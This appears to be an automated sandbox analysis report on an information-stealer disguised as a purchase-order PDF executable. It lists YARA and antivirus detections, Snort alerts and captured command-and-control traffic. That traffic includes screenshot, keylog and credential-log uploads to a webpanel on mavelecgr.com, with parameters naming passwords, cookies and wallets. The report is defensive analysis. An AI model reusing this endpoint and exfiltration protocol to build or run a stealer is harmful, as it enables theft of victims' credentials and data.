Source: Yara match	File source: 33.2.update_232107.exe.3853138.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.465ae8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.37ef853.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.402203.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 6984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 5708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: asGTRKuvQ.exe PID: 6700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232107.exe PID: 6504, type: MEMORYSTR

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Zip.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\update_232107.exe (copy)	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	ReversingLabs: Detection: 36%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\asGTRKuvQ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Joe Sandbox ML: detected

Source: 42.2.update_232107.exe.400000.0.unpack

Avira: Label: TR/ATRAPS.Gen

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source:	Binary string: mscorlib.pdbL} source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.692515521.0000000001626000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.742022872.00000000077C5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dCBoazl.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000000.256818546.0000000000EE2000.00000002.00000001.01000000.00000006.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.4.dr, asGTRKuvQ.exe.8.dr
Source:	Binary string: \gom_v_4.0\Zip\Zip\obj\Debug\Zip.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000000.361379081.00000185BE238000.00000002.00000001.01000000.0000000E.sdmp, update_232107.exe, 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Zip.exe.20.dr
Source:	Binary string: \gom_v_4.0\update_windows10\update_windows10\obj\Debug\update_windows10.pdbHDp source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.318747990.00000000032D1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\Temp\Json\Working\Newtonsoft.Json\Src\Newtonsoft.Json\obj\Release\Newtonsoft.Json.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.672499287.0000000003BB1000.00000004.00000800.00020000.00000000.sdmp, Newtonsoft.Json.dll0.20.dr, Newtonsoft.Json.dll.20.dr
Source:	Binary string: \gom_v_4.0\update_windows10\update_windows10\obj\Debug\update_windows10.pdb source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.318747990.00000000032D1000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000015.00000002.521378994.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.524353289.000000000242E000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49732 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49735 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49740 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49744 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49745 -> 89.45.67.2:80

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.44bfe50.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.3853138.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.465ae8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.update_232107.exe.37ef853.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.402203.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445bf68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.update_232107.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.445c56b.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.463ea30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.46ef650.4.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//config.json HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13dfb25804dfHost: mavelecgr.comContent-Length: 71961Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13dfbddb6613Host: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e067e21e36Host: mavelecgr.comContent-Length: 51105Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e07e1f843aHost: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e088acc6b8Host: mavelecgr.comContent-Length: 46911Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e12129d10cHost: mavelecgr.comContent-Length: 87081Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e138d2141fHost: mavelecgr.comContent-Length: 265Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e140cac92eHost: mavelecgr.comContent-Length: 46911Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e285d7768dHost: mavelecgr.comContent-Length: 76469Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e285ff1cd0Host: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e286b6b205Host: mavelecgr.comContent-Length: 72383Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e286e27823Host: mavelecgr.comContent-Length: 265Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e290035f80Host: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e333edc8ddHost: mavelecgr.comContent-Length: 51272Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e33adbddcdHost: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e355cfbcccHost: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e3c91a2a24Host: mavelecgr.comContent-Length: 51272Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e3cdef2577Host: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e3edc758a4Host: mavelecgr.comContent-Length: 51130Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e3eded7d25Host: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e3ef63b5b5Host: mavelecgr.comContent-Length: 51130Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e3ef792b70Host: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e3efb0013bHost: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e424af59daHost: mavelecgr.comContent-Length: 51130Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e43592edbaHost: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e456938e66Host: mavelecgr.comContent-Length: 51130Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e45eabcfb6Host: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e4b845ad69Host: mavelecgr.comContent-Length: 50736Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e4be70e3abHost: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e5079a3edfHost: mavelecgr.comContent-Length: 50736Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e50caf4e6dHost: mavelecgr.comContent-Length: 241Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e51a942fe7Host: mavelecgr.comContent-Length: 256Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e53c241ab6Host: mavelecgr.comContent-Length: 51130Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e5438244a5Host: mavelecgr.comContent-Length: 284Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e552a573f5Host: mavelecgr.comContent-Length: 56276Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db13e552c22442Host: mavelecgr.comContent-Length: 241Expect: 100-continue
